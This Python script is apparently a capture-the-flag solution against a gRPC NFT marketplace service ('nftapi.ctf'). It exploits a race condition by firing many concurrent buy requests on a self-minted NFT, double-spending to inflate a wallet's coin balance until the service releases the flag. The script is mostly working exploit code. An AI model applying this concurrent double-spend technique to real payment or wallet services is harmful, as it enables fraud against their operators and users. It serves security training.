import grpc
import google.protobuf
import enoki_pb2
import enoki_pb2_grpc

import concurrent.futures
from threading import Thread
import time
from math import log2, ceil

ca = b''
with open('ca.pem', 'rb') as file:
    ca = file.read()

key = b''
with open('access.key', 'rb') as file:
    key = file.read()

def buyer(creds, id_minted, result, index):
    result[index] = stub.MintBuyer(enoki_pb2.MintBuy(creds=creds, id_minted=id_minted))

class Auth(grpc.AuthMetadataPlugin):
    def __init__(self, key):
        self._key = key
    
    def __call__(self, context, callback):
        callback((('rpc-auth', self._key),), None)

# Establish the connection
channel = grpc.secure_channel(
    'nftapi.ctf:50054', 
    grpc.composite_channel_credentials(
        grpc.ssl_channel_credentials(ca), 
        grpc.metadata_call_credentials(Auth(key))))
stub = enoki_pb2_grpc.EnokiStub(channel)

# Wallet credential
creds = enoki_pb2.WalletCredentials(username='A'*2047, password='pass')

# Silently create the wallet
res = stub.WalletCreator(creds)

# Fetch information about our wallet and make sure we have the right password
try:
    wallet = list(filter(lambda wallet: wallet.username == creds.username,
        stub.WalletsViewer(enoki_pb2.CredentialsWrapper(creds=creds))))[0]
    print(f"Starting with {wallet.shiitakoin} shiitakoin")
except IndexError:
    print("Wrong password! Use the right one or choose another username.")

start = time.time()
# Run until we get enough shiitakoin
thread_count = 100
while wallet.shiitakoin < 100000:
    # Create a NFT
    nft = stub.NFTCreator(
        enoki_pb2.NFTCreate(creds=creds, name="", data="data:image/"))
    if nft.message == "":
        print("Failed to create a NFT.")
        exit(1)

    # Create a Mint
    mint = stub.NFTMinter(enoki_pb2.NFTMint(
        creds=creds,
        id_nft=nft.id_nft,
        buyout=wallet.shiitakoin))
    if mint.message == "":
        print("Failed to mint.")
        exit(1)

    # Buying mint
    threads = [None] * thread_count
    results = [None] * thread_count
    for i in range(thread_count):
        threads[i] = Thread(target=buyer, args=(creds, mint.id_minted, results, i))
    for t in threads: t.start()
    for t in threads: t.join()
    wallet = list(filter(lambda wallet: wallet.username == creds.username,
        stub.WalletsViewer(enoki_pb2.CredentialsWrapper(creds=creds))))[0]
    now = int(time.time() - start)
    print(f"[{now:>8}][{thread_count} threads] {wallet.shiitakoin:>6}/100000 shiitakoin")
    # Find optimal thread count for latency + username length for next run
    thread_count = len(list(filter(lambda x: x.id_nft != 0, results)))
    thread_count += ceil(thread_count / 10)

# Get Flag
flag = stub.FlagPrinter(enoki_pb2.CredentialsWrapper(creds=creds))
print(f"flag: {flag.flag}")